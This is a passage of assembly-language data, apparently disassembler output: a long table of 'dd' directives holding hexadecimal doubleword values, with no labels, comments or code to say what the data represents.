		dd 0FA28D18Ch, 0D619085Ch, 682303D1h, 36E46F5Dh, 18E10880h
		dd 0D8F104h, 500CD91Ch,	7E7B8E31h, 6D3119EEh, 6FB7E035h
		dd 0E29E5BBh, 639DDB2h,	411DD701h, 7769F6EBh, 609E9A48h
		dd 0BBFB6557h, 5F89ED35h, 7C053453h, 5C07EF19h,	0C81B58FDh
		dd 49471633h, 35A24558h, 2E091931h, 3E9CE245h, 0D5965C4Fh
		dd 87DAA371h, 74995482h, 4224F76Ah, 0E23EF50Bh,	67A0D110h
		dd 0A704C828h, 8EC9BD7Eh, 0D6F3D98Bh, 0F8C4781Bh, 608C30E1h
		dd 0B794AB7Eh, 64F2828Dh, 5210D34Dh, 4F9E6F7Fh,	322204D8h
		dd 0AED58F2Eh, 9D9CBA61h, 71498136h, 0B9A361CAh, 42976B7Fh
		dd 0AFC2A79h, 4F6809C0h, 0A720EDFBh, 8D79D2B1h,	0D69BF380h
		dd 41E3C2C9h, 49AFD167h, 87DCE86Ch, 74066919h, 34D4EC64h
		dd 2DC3EF11h, 6FF10EAAh, 7A33F353h, 0B7138D1Fh,	0A322E31Ah
		dd 0AE229C4Fh, 0D109F0Fh, 37D7D2BFh, 88F0BD44h,	30347180h
		dd 0CEF12BA8h, 77F050D5h, 3A00A379h, 0C3171F1h,	0CA5FCE02h
		dd 0C87AC01Bh, 32738293h, 0E4D68249h, 2D104400h, 37810A88h
		dd 76003A75h, 4A4CD83h,	2CF00DF5h, 0D10E9A7Ch, 850D0245h
		dd 21FA9C07h, 4E95CD60h, 7CC7221h, 0BF705326h, 909D9BC0h
		dd 6CDF4548h, 1A60FDEAh, 63AB2BCBh, 560FA733h, 410E6A7Ah
		dd 0F22ED2B7h, 964A6FD0h, 9BDEB263h, 0DD2D811h,	3E9BF0A1h
		dd 0E1FB31D9h, 568FE9B4h, 74AF7CFh, 13DFCAE3h, 20FC0ADAh
		dd 0B686A956h, 2F831D2h, 0B928196Bh, 95FFC964h,	6368F32Ch
		dd 52110553h, 0FABC3D21h, 0B19EA573h, 246F641Dh, 13A26E57h
		dd 0E878D670h, 0BDCAF810h, 0E9F8251Dh, 0E8574D47h, 8CC13BC8h
		dd 43C5CC59h, 0B3A35DC1h, 6C54C91Ch, 0A633CB4Ah, 0D6B973FDh
		dd 7102390h, 4EBACE12h,	5BACDE6Dh, 5117DA51h, 5D951EBAh
		dd 6FAC22Ch, 0DA807FC2h, 96A25073h, 74DDF478h, 92D7F818h
		dd 3ED4A9CBh, 72AE99F5h, 7BF06304h, 6E7E7B2Eh, 0B600095Ch
		dd 0B700EEF4h, 0BF73ED35h, 5C3D83C0h, 69F8A041h, 7AC6F77Ch
		dd 7F50398Bh, 52A061C2h, 1D14833h, 5514127Bh, 98C45C07h
		dd 0B1731972h, 7E16A369h, 0C36F7E5Ah, 980AFB49h, 8E169557h
		dd 0AED98510h, 6145C81Ch, 0A5EE6B69h, 3CED7F7Ah, 6CD7AF15h
		dd 43BFD05Dh, 8F3AB757h, 76D50122h, 0E0703333h,	8C32AC50h
		dd 0C13EF56Eh, 0D62AD5EFh, 6A23A7BDh, 0A0511D44h, 7BD6CC61h
		dd 6A8E1D2Ch, 54BA22E0h, 6FDEC118h, 7E30B4DDh, 65B28304h
		dd 0BC1B3968h, 0B9D2E8F1h, 1077B6AEh, 4130BD12h, 0A140A00h
		dd 8ED05138h, 6E216A17h, 0EA5AABFBh, 0AB9ED310h, 0F7E65396h
		dd 0AF7FCCFCh, 6885D157h, 6597F62Fh, 9EF68416h,	75A16516h
		dd 7907EF0h, 5F311539h,	7F5F7287h, 4303BD71h, 0D375C88Dh
		dd 0E05BC9C4h, 0C5F081EEh, 569BD655h, 6E6995D1h, 0BC8853F1h
		dd 4CD7F67Fh, 0CAE917D1h, 0BF75DA1Ah, 462DD451h, 5FD150B5h
		dd 65290231h, 0ABC03079h, 44AE8887h, 31112D8h, 8ED4CB4Fh
		dd 0CEE6BCCEh, 2A7762B9h, 0FC06B0D3h, 0AE168872h, 780748DAh
		dd 0EDCFF33h, 2DE64228h, 64FAC9CBh, 27A8FF0Bh, 8F72C8FEh
		dd 0AD743E4h, 91FA0D63h, 5BD729D3h, 36194AE8h, 0E4E0253Dh
		dd 0D6A9CFB5h, 654C0CF6h, 0F40D1191h, 0B970A01Eh, 325CBA6Dh
		dd 0E5E51D6Bh, 2217BF9Ch, 0BCDCBEAFh, 0F4F2924Bh, 5DF01AB1h
		dd 0BAC8D4E6h, 8E086CC9h, 44AD7405h, 520AEB50h,	91D54301h
		dd 0E9E710Ah, 4F72C86Dh, 0D68A0811h, 87CB5AAAh,	0B8C998Ah
		dd 4150CE20h, 7026DE55h, 0B85B711Ah, 0C1BCDF6Dh, 0B22DA9ACh
		dd 2CD94569h, 0E9F8FE82h, 0BE573A5h, 0ABD7D359h, 18D6DD50h
		dd 91761BC3h, 109FD4Bh,	0D1291CAFh, 0C64CF500h,	0A48B5979h
		dd 0E30E6915h, 6CA27CFh, 9782A221h, 90BD604Fh, 8EABF5F0h
		dd 2100E392h, 93D4347Eh, 7337148Eh, 6136D74Dh, 62E0291Ch
		dd 0B45BFD11h, 63BCD549h, 5E345431h, 6A01F2BBh,	8086566Dh
		dd 0E3DC4CC2h, 29F0F3Fh, 8BDA2BE8h, 0BDF2F83Dh,	0B9D130B9h
		dd 17171F08h, 7296115Dh, 0D75D1BD1h, 0B72DBC60h, 63E908EDh
		dd 8687238Dh, 790DA551h, 0EEEC23C3h, 0D89581D4h, 8FF0D5BDh
		dd 7E24E92Ch, 0C0D60940h, 6FF4FAADh, 59576708h,	0AAFE552Eh
		dd 0AA29715Bh, 5D0220E5h, 69F5E871h, 22A13607h,	84A2AC0Fh
		dd 92A5D33Dh, 70E03152h, 4BA05D75h, 0FF3A866Bh,	59EA1416h
		dd 13618310h, 0C3132765h, 97F8C8A6h, 48DA697Dh,	0B53BF3ABh
		dd 30A3C9F5h, 2723151Ah, 88659673h, 4316077Ch, 0F4EAD83Ah
		dd 808EC2B6h, 2368E9DEh, 2D464DFFh, 6362AE40h, 0D5B6A50Dh
		dd 0BF797A3Eh, 0F8B82284h, 7BB84163h, 5623F283h, 0ED28031Fh
		dd 7578DD01h, 0B10BBDDEh, 8DEB378h, 16159BFFh, 0BE619070h
		dd 0C090824Ch, 774289B8h, 0B5AF74Bh, 2EF2EC07h,	0B6BBD143h
		dd 0DC97CF1Ch, 0FEEAE66Ch, 4350AB59h, 6DAF611Ch, 0A2DC0EF1h
		dd 83B6069Fh, 7D27D63h,	0A5398ECEh, 3E11E4Ch, 3DC0971h
		dd 0DF1333CEh, 0BC374EB2h, 6C13BE3Eh, 0C85AE501h, 29FAC6BAh
		dd 6CE2E681h, 7083BBF0h, 0EDC41B0h, 29C5E515h, 0D7B7BF58h
		dd 751F835Ah, 0FF3ED075h
		dd 0AEFE9F9Dh, 86CBEB03h, 0B0E3B653h, 31AD192h,	977665A3h
		dd 1170B920h, 0D7AECB59h, 7C35DD5Fh, 27C4D710h,	0ECD2430Ah
		dd 0F3AA8C25h, 2DEC5B64h, 0C501521Ch, 0AC2B1430h, 8E9CE660h
		dd 716CFF17h, 99CBE86Fh, 0F227290h, 5849D1FBh, 56F5400Fh
		dd 0BF56F240h, 5BEDAC3Bh, 0F4ACA08h, 0E6FBBD12h, 0AA99F1ABh
		dd 14DB894Fh, 0D0B11ECFh, 47CDD658h, 8FD2993h, 0A3BBCE8Bh
		dd 1D91FE79h, 5C64C9E3h, 1318C8E7h, 0F3B10BDh, 0E3300Eh
		dd 0FBCBD589h, 0D6B51D7Bh, 8470CAFh, 0D0B4E2C1h, 9EDB9C3Ch
		dd 0E2F71D29h, 1786F24Fh, 0DEE6D61Ah, 8A3E6666h, 48955C1Ah
		dd 120B80E4h, 8029FCABh, 5CD90BD0h, 0EBDFB199h,	0D21EF680h
		dd 302A535Fh, 955948DEh, 633A0415h, 2CF2F462h, 2FA2504Eh
		dd 0EEF88E2Fh, 0AF102EFh, 83CBF20Fh, 13EF1AB7h,	1F0A30CBh
		dd 25565E57h, 2CA1B12Fh, 12F040DDh, 7E1DDC4h, 52018B3Eh
		dd 0C73A8F33h, 0BEC91EBCh, 70FFCFFAh, 7B08F70Ch, 34D2F221h
		dd 526ECF0Fh, 0ACBA9D1h, 0F3D6D24Eh, 0ACB06413h, 64A8E70h
		dd 1DA1CEBFh, 0DDCE60B1h, 4E2DC780h, 83F08A61h,	321D31Ch
		dd 1A0B7564h, 285C80F2h, 24D30D4Dh, 0A4EEEB2Bh,	44130E58h
		dd 0A4C8810Bh, 473AAFC3h, 0AAECC9B7h, 0AE9E75EBh, 64C3CB03h
		dd 1650E53Ch, 0A25D6571h, 62F5757h, 3A86881Dh, 1D8EACA1h
		dd 9E305C01h, 0A20187ECh, 3FFB387Fh, 72D10EADh,	0C723C9B5h
		dd 523B281Dh, 73CCC675h, 0AAD74B12h, 9ED286B9h,	0ABB9ADEDh
		dd 79CD2227h, 0CA512DC2h, 0B2BB2A88h, 33AD415h,	0B38CD12Ch
		dd 4AEA401Eh, 0F79F7213h, 13521B1h, 19346652h, 30D2E5A8h
		dd 360FB931h, 0A6CE24BBh, 8E2ACDFAh, 97794E2Ch,	589DDE8h
		dd 6CEDCE2Ch, 0A020AB2h, 9A3B89A0h, 0BE0ECD1Ah,	2D62D21Ch
		dd 432DEB5Dh, 56A37C3Ch, 0B295EC68h, 0EF1F556h,	4136F358h
		dd 22D2B54h, 1B068B27h,	2714CAA1h, 0AF6A4F8h, 2BBE29DFh
		dd 5ECF0D68h, 654CB27Ch, 457F4DB5h, 4232E111h, 39ABE8A0h
		dd 11DE4515h, 14100951h, 2592B1F9h, 0E3EC5D48h,	0C2BABF2h
		dd 0E41FED15h, 0D1AE827h, 4F5657C0h, 455D31F3h,	679A747Ah
		dd 6A412DE1h, 4233585h,	8832A79Ch, 5EB8DDB9h, 736A0DCh
		dd 5A2D25B1h, 9FB8D0B9h, 3E1EDE88h, 28CB6D43h, 65C67DA1h
		dd 40204480h, 7B2B0933h, 0E2920AF2h, 158F850h, 0F1D9D9A5h
		dd 58C991BCh, 2A67009h,	454D2951h, 0C22EDC8Eh, 0F2885DD6h
		dd 0B69C17E8h, 4114665Fh, 59A6D673h, 0A901A228h, 0C78FBF59h
		dd 0D552CA8Eh, 48310C72h, 0CD82445h, 6A4C2BCh, 57A1F279h
		dd 2A03FE13h, 5B394845h, 0B303B563h, 0EA8DCE3h,	0E0ADAA2Dh
		dd 6BE3D985h, 74A72812h, 83BA4A16h, 57A8F87h, 0BB2506F3h
		dd 3128681Bh, 0CEB3F551h, 40D1D8FCh, 0A0E69A8Fh, 0E31313B3h
		dd 3D3B1C53h, 768B3178h, 61B6B2B5h, 0CBBEFB34h,	6162B07h
		dd 0EC3AAD19h, 8C328391h, 0B9A6C41Ch, 0B0D4F430h, 9324DC16h
		dd 5A2488E5h, 49909FCEh, 747D4F12h, 9F66D57h, 627E59C0h
		dd 6A9FDB4Eh, 9AADC4ABh, 3FC5819Dh, 29E9218Ch, 15FE87Dh
		dd 3CD2CC5Eh, 0DF155065h, 5A7508F3h, 0F4A1123Ch, 4344991h
		dd 420C5B06h, 5A9E0C39h, 3F0D1F0Bh, 63D7C95Eh, 6DEB75F2h
		dd 43F4E57Bh, 811344Dh,	7E299C5Ch, 2B58AB0Ah, 16B77249h
		dd 85D335B1h, 0B6C1B562h, 60682Fh, 4621F5CEh, 0AFF3087Dh
		dd 9406C994h, 12DA5246h, 6346B627h, 8064F355h, 0BC22980Fh
		dd 0C326B45h, 0E4051DA1h, 7E03D89h, 1963A7A1h, 0A2868172h
		dd 0AA3F318Bh, 8C5A382Fh, 0BADE5B12h, 9EC028D5h, 5E64281h
		dd 9F52AEB8h, 76973F59h, 2BD9C1D7h, 492BD119h, 66323294h
		dd 9E01D701h, 247AAC12h, 0E5B26716h, 5ED0854Ch,	90ED8BA1h
		dd 0FE8C4141h, 649ACD77h, 0B43ED1B9h, 6A305B10h, 0AACB0FD3h
		dd 43D2DE19h, 8FB681Bh,	0C91BCD6Bh, 5E1DCE91h, 3DDEF02Ah
		dd 6886B757h, 0F41468F9h, 713BFEA3h, 53E4B533h,	47DCFB0h
		dd 0BDB5D3B1h, 2A8115B6h, 70FBF0A3h, 0F0FDF278h, 0A2BFF3ABh
		dd 9B2EE52Dh, 7099CF18h, 47166587h, 99EBDCA4h, 2D2AFEE9h
		dd 1D18348Fh, 189BBE38h, 79395319h, 0EF5858Dh, 78FB0993h
		dd 43DD04D1h, 3E4582ABh, 5DFEE27Dh, 5FBD8636h, 0BB26A477h
		dd 0B3D40C0Bh, 0C4D522A2h, 0BE1C1D49h, 6A601667h, 75525E7Ah
		dd 60DBA933h, 1CF3AF1Dh, 82C0C746h, 8E8B0DB9h, 4EBE394Ah
		dd 0BBF6FB66h, 0A62B295Ch, 52B6A30Dh, 0D2DAB7CFh, 9A7D0773h
		dd 9EA56Dh, 0BE9F2BD5h,	0EA2AC20Fh, 0EE40958h, 0CE8AD47Dh
		dd 7FE9E792h, 8495CD77h, 0DEDA8E8Ch, 27FB1DF4h,	0CE40807Bh
		dd 0D8D48F79h, 9730F6F1h, 0BC1474DDh, 0B21EE0F6h, 0E8FB32B6h
		dd 0A0FFB5E5h, 39D2252Dh, 8FDB4EB4h, 79C61A11h,	0D2A8DC5Ah
		dd 425B4D74h, 12D2737Ah, 0BE111CDDh, 0AB6B8C68h, 8CD0709Ch
		dd 0B270A974h, 6ADF8C25h, 1122E0CAh, 0FFB79CEAh, 0B70B0DB7h
		dd 92AF0B21h, 7AD0D402h, 7F9806B7h, 27E23ACEh, 2D1AC146h
		dd 0BBE333C3h, 0D254E9F4h, 64A0C2F0h, 7CD60E07h, 1CEAF17Ch
		dd 73F831E9h, 941669EDh, 97D33ABCh, 68D4C05Eh, 120BA0A5h
		dd 23D0C762h, 0A2CF0C38h, 756208A2h, 0B0F7219h,	77F7DE9h
		dd 56CCD42Ch, 1138BB11h, 0E7BE946h, 65D38E85h, 0AC91BEDCh
		dd 0FCE4B10h, 0B9766548h, 0EAF74C2Fh, 0B92EE2B1h, 41C486F0h
		dd 0FF6C911h, 0E4E0C818h, 6B9D668Ch, 680327C5h,	74158C48h
		dd 3A089A25h, 0EE3E41Dh, 74B4C2DFh, 9170FD20h, 6AADDED9h
		dd 88CD0294h, 0A0744077h, 9E95908Ch, 42D46620h,	2CE1BE65h
		dd 3696B350h, 0D69825DDh, 1FC93E87h, 0FACE5371h, 0BE14E518h
		dd 6FB0EC10h, 3CECF317h, 0A4F00A4Bh, 7D7CEDC1h,	3CDEEA4Dh
		dd 6902E822h, 14E41C67h, 0ED02E225h, 37F56CFBh,	991BCBF8h
		dd 0A7A3D6Dh, 4872562h,	3E06B01Ch, 0F8E4CC1Bh, 60DED119h
		dd 785F014Ch, 832A537Ah, 0C7F2F6F2h, 0E822A887h, 0C7578401h
		dd 6B91312Bh, 6EFA2C70h, 46D31B45h, 0A4F0344Fh,	0A4C59475h
		dd 14F3D2DCh, 71EAF6B3h, 0B2A3F038h, 0E32A441h,	0C8733163h
		dd 0D9D2718Bh, 58D0C008h, 0E4F1D210h, 48932A77h, 8B5A3E71h
		dd 0DC9BBE91h, 6EE4EDDCh, 0A107802Eh, 4401067Ch, 7364686Ch
		dd 0B08D9A09h, 7835DB12h, 44985940h, 3CEE714Dh,	1CF0A900h
		dd 2FEBD560h, 0F249DDEFh, 14105D6Ch, 75CD195Ch,	0ECB6EECEh
		dd 536CADB3h, 0C8729027h, 0E01049Eh, 24B43F18h,	0BB649CDBh
		dd 8BE28010h, 0ACF8F879h, 46F2174Ah, 0EDE0E87h,	6327BE81h
		dd 4971CF17h, 4EAF0567h, 0E80DDD7Ch, 1ED750B1h,	5E61DFC3h
		dd 5EA0E345h, 0E5FD042Eh, 36CB0C14h, 44C85A61h,	0B9110C25h
		dd 0C2D00E41h, 8619F52Ah, 47F01017h, 5DC29457h,	0C2384FB1h
		dd 0E9BB962Eh, 0EE84C74Fh, 8A8DCC6h, 2DA75AA0h,	0CEDEB757h
		dd 1600C287h, 0F03BE2C3h, 0DECD0077h, 570B5773h, 0CCE1D390h
		dd 45861963h, 23E9423Bh, 1E681B35h, 77C9231Dh, 0B0F785Ah
		dd 0ECC2B875h, 6CBA7DC2h, 4A27DCF3h, 1FB8457Ch,	0D5D5C315h
		dd 969655B3h, 98331D81h, 0E8D3743Ch, 76DF3EB9h,	21A8F19h
		dd 82D5BCE3h, 0C8AD3F43h, 96F2F35Eh, 0BE551484h, 3E191773h
		dd 461E0511h, 6AFC91EDh, 34036581h, 0BF13C758h,	16B4169Fh
		dd 6DF4ED84h, 0B10B7B4Bh, 0D2D0BE29h, 4F9D8604h, 0F406EEB4h
		dd 0C019300Ah, 384DF376h, 54F2E9BCh, 0ED5A0B11h, 56FCBE9Ah
		dd 62CBA9ECh, 0A315519h
		dd 0C30B8301h, 0B99BAD12h, 8CA4EE75h, 66187F61h, 0ACA3D8DFh
		dd 0E5A2EB09h, 0EC3B8A71h, 53DEC796h, 0CEA336C5h, 2571F15Bh
		dd 0F64CB374h, 0E4048660h, 9456E3A6h, 326E6A6Ah, 5C60D9D2h
		dd 9952BBF0h, 2C177DB0h, 0C9E7DD7Eh, 7B7A6996h,	0D0F8662Eh
		dd 7A148DF7h, 44D1848Fh, 4C7A7CCBh, 31371D74h, 0C470D083h
		dd 0B1DE8DF0h, 616E0BDBh, 73D10C4Ch, 0A67FCBF0h, 8D63DC14h
		dd 0FAF9DB1Ch, 43967273h, 59855D45h, 16F44AA8h,	10566BE8h
		dd 575D0D6Eh, 0F41E7DFCh, 18049AAEh, 0D8BABE75h, 0E2D1685Dh
		dd 81FAF1E2h, 0CC16C49Ah, 5FE1F5B7h, 3103EDD7h,	0EE0DA486h
		dd 0FD5F894h, 14DA9D62h, 0BB05E78Bh, 9EF21A56h,	0DC9FD146h
		dd 0EB102489h, 0EB979D87h, 5D0E7F49h, 2F105713h, 0F878D303h
		dd 7DCBAB4Eh, 93B51FB2h, 0A60E540Fh, 104B2940h,	7826548Dh
		dd 0AE2A0D88h, 0A2FC9D1Fh, 9CDB3F7Fh, 0C3EF1D61h, 4F9A87D3h
		dd 0F4DECF69h, 0ABAD51ACh, 0ADB13561h, 3B2ED15Ah, 7DDDA9B9h
		dd 431F710Ch, 8C32FA5Ah, 7B16198Dh, 0F6E66D03h,	0BBEFD945h
		dd 23DAE75Bh, 0B88CF879h, 41B20E17h, 0A60E1611h, 0D6B1AAD9h
		dd 6E927BDDh, 5F06E26Fh, 582E0B75h, 5BECEDC9h, 0C3533F19h
		dd 0C70EFCFh, 112119F7h, 0EAE0C39h, 8B1699F8h, 0E5165991h
		dd 538ED001h, 80303297h, 9139E0F5h, 0BB5FE606h,	0D60D30DCh
		dd 0A3DBCC7Dh, 0D8C08595h, 0BB2EF462h, 683ED110h, 235FD172h
		dd 8A3D28D6h, 0E9D10C5Ch, 5632DB7Fh, 8E49C97Ah,	4DDA8CDFh
		dd 778FD9BCh, 0D22A1C6Fh, 5D36EC55h, 0A3FBCE18h, 44BBFAC4h
		dd 0AD37D0D1h, 0D6CD0DBAh, 0A84ABB9Ch, 33D41025h, 8EE2EAF7h
		dd 6DA17F7h, 5583C7BAh,	0D6CE0A12h, 0C797D5C2h,	6E263B14h
		dd 4DD0F1ACh, 31F38E8h,	71E50D17h, 0F62A59F5h, 0B31DCCCh
		dd 0F17F38DEh, 0A28694C8h, 2E8EFB29h, 8F6E49C5h, 0C6AF41E8h
		dd 0AC5A447Ah, 60E0C3B9h, 40BCB37Bh, 1EF9FB30h,	6D46A2B4h
		dd 0C1E82A13h, 612BEF18h, 60CAF5BDh, 3350E8B9h,	6DFBB3DCh
		dd 52B2C5DCh, 28F94B31h, 8A964D05h, 27F955F0h, 5507280Dh
		dd 33DFC58Bh, 2AB62462h, 37E3B6B1h, 623BF369h, 0ED2E7145h
		dd 793A1BB5h, 29E4B13Ah, 2E46F5F5h, 0A2B9B730h,	0FCFB0562h
		dd 0AE36E27Ch, 2D2DCD10h, 0B01F8901h, 0A7B3B9ACh, 0E1B65277h
		dd 0D29D564h, 0C6C01C01h, 0BF07F06h, 0AC8C69E9h, 0CEB8D506h
		dd 1700F163h, 0F036FE5Bh, 15CC3B03h, 4F153CF0h,	4BCE8B45h
		dd 0D7706DACh, 6A3C4FA5h, 312BAAB4h, 0B292B160h, 0C8F2ED70h
		dd 0C1AEB555h, 6C80E7Dh, 2633516Fh, 0D02EA340h,	0B2D49C49h
		dd 0A6F100FBh, 6C8AF6C2h, 2CF2E349h, 539C71DDh,	0A2AF217h
		dd 0B6B51563h, 4E911535h, 0C31E185Ch, 1DF1F562h, 6DBFB661h
		dd 509B0001h, 0DFA7EC3Dh, 0C033D7F5h, 0E2DFBC85h, 32C4DDC1h
		dd 0C26A903Eh, 0BEC3EBCFh, 0FF208C79h, 7F611C69h, 800A52AAh
		dd 0C6C0A21Ch, 0F2FD0DEEh, 0E571F3A9h, 72CD34E8h, 7F7B5D1Eh
		dd 62AE7AD1h, 1308DC98h, 0A6B38041h, 0AA110544h, 0CF5D3101h
		dd 6DD123D8h, 0B221AB0Ah, 7CA5B4C2h, 0BBD93DDCh, 621A8610h
		dd 70A869BDh, 7463F91Fh, 8C4F29B7h, 7F505E15h, 0D4A3F50Eh
		dd 0CACF4975h, 4235455Dh, 39109E04h, 92939DBh, 5DF9DC78h
		dd 62F61203h, 0D66FA87h, 95247F6Fh, 71211B43h, 5E1AF4E4h
		dd 121D9CBDh, 1CB03FE8h, 8B336F49h, 12A39F5Ah, 0AE047431h
		dd 5D3ECD40h, 4996E3F5h, 176FA1Ah, 68AFCD62h, 1902B905h
		dd 0D13E932Ch, 0BB0E5392h, 0FEB7EF4Fh, 886912BBh, 4C4772D3h
		dd 5E6DDEC0h, 0C86C1017h, 0C02D9819h, 71DA45FAh, 581085C2h
		dd 0A4EB8518h, 6E03E962h, 0BBF0785Dh, 1E996B1Eh, 74781C0Fh
		dd 3C730259h, 75710268h, 9B83092Ch, 0F81C7375h,	0BB7B0FB1h
		dd 0F425345Dh, 26C875F0h, 0ABEB4042h, 0BD2A08AAh, 0E0B5C535h
		dd 2D72FBDEh, 4D3A6405h, 5AFB17B9h, 0AF102EBEh,	82D11C53h
		dd 19458C05h, 0B6D9B135h, 0DE9C1C52h, 0EAD49EA9h, 440B2924h
		dd 2FE49CAFh, 0C44A4939h, 0A28B44A0h, 374FB9Bh,	453AAB0Ah
		dd 761FCD7Ah, 4E2B559Dh, 0DEE548C3h, 3D1257FDh,	4FFC8695h
		dd 8D13FBBCh, 21C3B025h, 624FF675h, 29CC3400h, 345701A1h
		dd 0BE9C2C7Ah, 7D951965h, 0FBD2C040h, 0E807ED58h, 7DE35411h
		dd 0D230FAA6h, 5E03AAC3h, 0D20A7CB5h, 0AC8D4440h, 1799DC0Eh
		dd 50C4A252h, 25B8DF2Ch, 650AC414h, 661DF072h, 1C580561h
		dd 7684ECB5h, 4DBDE956h, 6332DB19h, 4780DA63h, 0BB2B3052h
		dd 6EECD960h, 0D31502DEh, 0B9FF53A6h, 0D903DF17h, 2B21D3C2h
		dd 0F6F1E3B0h, 7CE10768h, 6D3FD31Ah, 0BD58E27Dh, 37CAF79Eh
		dd 0BBCBCF50h, 6C3FF53Ch, 0D33B7084h, 4701C502h, 0CEF4FE4Bh
		dd 7DD467A2h, 5EF60D62h, 71021388h, 5C7D3EBAh, 4EDE57F7h
		dd 0AE185D58h, 0AD7F304h, 5EE2F313h, 631AB070h,	0DBFDE0AAh
		dd 0EF7CC49Fh, 0AB1EF0DBh, 650D5671h, 2F02FBCh,	9108A637h
		dd 5EFE1134h, 8CFC55E3h, 0C2F0EB12h, 665D7141h,	58FF6931h
		dd 0BA05E006h, 57CA101Ch, 0D831151Ch, 3A249D0Eh, 0CFFE9D19h
		dd 0B6666744h, 597BBC10h, 0DAAA1672h, 0C87B10C0h, 0AA100E53h
		dd 7CF7AB0h, 6181B1B9h,	0B05DEC4Dh, 0A42993B9h,	5EFEF671h
		dd 1F52E01Fh, 216B8D0Dh, 30F1FD0Dh, 0A0B9BD01h,	9E0D67Bh
		dd 4AC3D3Fh, 0AAE609DAh, 0A681EE0Ah, 0E9170B64h, 631AE16Fh
		dd 0AB9AE3C8h, 3CAFECD5h, 0DCB03116h, 5CDFD265h, 23A90051h
		dd 0B9DBC87Fh, 56FA7927h, 14D5F4E4h, 7BC509E8h,	4A171D56h
		dd 0F3AC0945h, 0C3A20910h, 62F1082Fh, 0A9FEB8EAh, 792EE279h
		dd 683B9FC0h, 38CE0EBAh, 24EE073Ch, 732EE019h, 5D3EA576h
		dd 0EA2EE3B2h, 0B3A74D41h, 91FD02B2h, 0DAD775ABh, 0D092B5Ah
		dd 4E3AF0B1h, 5613D0B1h, 5D05C47Eh, 6D4FF279h, 0B77D3082h
		dd 75017DCh, 990D7113h,	646AC2FBh, 0BAE5AC1Ah, 0F7E9D0Bh
		dd 9F6EC830h, 98CBC383h, 43DC9D9Fh, 0E2732B5h, 0AB16C2B5h
		dd 26CA3563h, 4A55D1A7h, 0A2021182h, 0CFE11D6Bh, 0AC874A31h
		dd 5286743Dh, 10B046FDh, 0A6DEBB31h, 0E0ED09Bh,	0D9262D16h
		dd 6C0A501Fh, 95D000BDh, 0ED692BEh, 248236B5h, 0A75A8506h
		dd 0B744F2EEh, 5C4D1A56h, 76FAC5Dh, 0A1377908h,	0BFF1AD55h
		dd 0BD00E264h, 6FD2FB64h, 45AB48B9h, 9C436826h,	4DBAE9B5h
		dd 0B6E5EE21h, 5E27EF48h, 6B9FD27Ch, 95279E30h,	98E16164h
		dd 0BBC961EAh, 0BE87F2DAh, 9AEC9DB9h, 4CD1DE71h, 3EB0C679h
		dd 48F57D8Dh, 82C6CB03h, 0E370F4B5h, 3C8E31Dh, 47005A9Eh
		dd 311EE375h, 5CFBEC61h, 2D399620h, 254C3D13h, 0D67E5DB1h
		dd 92BEE1EDh, 3F1EF4EAh, 0AE9EEF0Ah, 58A0DE18h,	0AE00313Bh
		dd 0A51BB82Eh, 4326CD1Eh, 239EEE0Ch, 4D990877h,	6FEC4B61h
		dd 1A5221DAh, 68CBDD3Ch, 72CBBEE6h, 0F1FBAD5Fh,	0C37E966Ah
		dd 0DCBBC5h, 0D52FACBDh, 0BC668239h, 864B92B0h,	0AB01933Bh
		dd 0A8000072h, 0E220DC64h, 0AB753663h, 36F7E23Fh, 0CDBDBD3h
		dd 562AF40h, 5048918Fh,	9814CA16h, 7CEBE472h, 0DED6D255h
		dd 2BD0FCBh, 0D98B4EB2h, 33E5F10Eh, 4C0E3C45h, 0A039CAA5h
		dd 7C28DFC3h, 5BDDD511h, 0A92F0D33h, 8E8AB730h,	0E3467EFAh
		dd 0DD2A3564h, 0BBAAF0B8h, 13D33174h, 66E036DBh, 63150363h
		dd 3430E0B7h, 2E19224h,	3A110322h, 3934AF02h, 3A916501h
		dd 60B6D91Bh, 81DDC316h, 8508BC6Bh, 43A3A9CCh, 78F104BBh
		dd 0BE03BC2Dh, 0C091A01Ch
		dd 0EBD1387Dh, 43417BB4h, 3013C8D1h, 0BF60C512h, 3DEB6A39h
		dd 0A8A1E17Dh, 3963EDCFh, 0BD00C57Bh, 0D1E95F0h, 1CCBBCC9h
		dd 0F450DF3h, 5CAA5ABAh, 72B7B1CAh, 0A7ABB325h,	57062178h
		dd 6CBB7763h, 0DF7B3D27h, 4B57DA9Bh, 69481C78h,	72460BDh
		dd 60C73E13h, 184633C6h, 6E26B7BDh, 0AE522AEEh,	6F4AADC3h
		dd 5494F1FBh, 6074771Ch, 0ACBF2B0h, 0C823CB10h,	0F336DD0h
		dd 0EF0164Eh, 0BED1EC5Eh, 5C2345Dh, 241A96E6h, 67E0B0ADh
		dd 1CFDFB16h, 728128C3h, 0E418408Eh, 6820CE55h,	0AA07D900h
		dd 0D7EA01B8h, 0C1221644h, 0A224859h, 7AD4F259h, 0EE526E8h
		dd 0AFAAD950h, 0EB76BE78h, 64FBCA7Bh, 0DA790519h, 675211E0h
		dd 0F1805EFFh, 0CE240528h, 8D03ED2Dh, 745BB2ADh, 2DC4688Fh
		dd 3B7EF66Ch, 6D1C3B57h, 4DB5B5CFh, 0A1B5945h, 63CA3B13h
		dd 14611169h, 5C291950h, 0BF4534Bh, 8C0E6971h, 0B2BFE10Bh
		dd 6690FEE1h, 719685F5h, 68223131h, 385CEE14h, 2F020700h
		dd 7F97A12Fh, 0E45A37D0h, 29A9077Ah, 0E664E551h, 3D87BFC9h
		dd 0CFFF9928h, 0E4BEA1Bh, 7C17D8C1h, 88D4DCE4h,	8FF81120h
		dd 853F64Fh, 696DA426h,	7B6892C3h, 0F5647191h, 12C68FD6h
		dd 0F7F30D44h, 50EA904Bh, 54FEB3CEh, 0C0684553h, 0B3D7F594h
		dd 7C783959h, 0ACD81DF0h, 0EE028827h, 0AA943181h, 8442728Eh
		dd 68E2087Ch, 0D6F58FEFh, 0C4FA6C09h, 0AD60EBEh, 644142BDh
		dd 0FAF3D30h, 8D04C288h, 42981C6Bh, 7A1AEF21h, 133B75A0h
		dd 0C4573D5Ch, 0BB54728Eh, 5A97B471h, 581135DDh, 42DEE215h
		dd 0B2FD06BCh, 9E233534h, 5E072545h, 0FEBB5591h, 0EE1E7AB3h
		dd 0DEB3757Dh, 0C6FE9943h, 0ACAAA8C5h, 62C10D39h, 0BCCEB029h
		dd 72DEED19h, 5E30F13Ch, 4EFAE541h, 0BE231534h,	23350561h
		dd 574931A1h, 2BFF40EBh, 0EE2046BCh, 23827561h,	0BE9533EDh
		dd 2BA2E9DDh, 5EB90331h, 0EBBA521h, 7A1ECAB3h, 66B3F97Dh
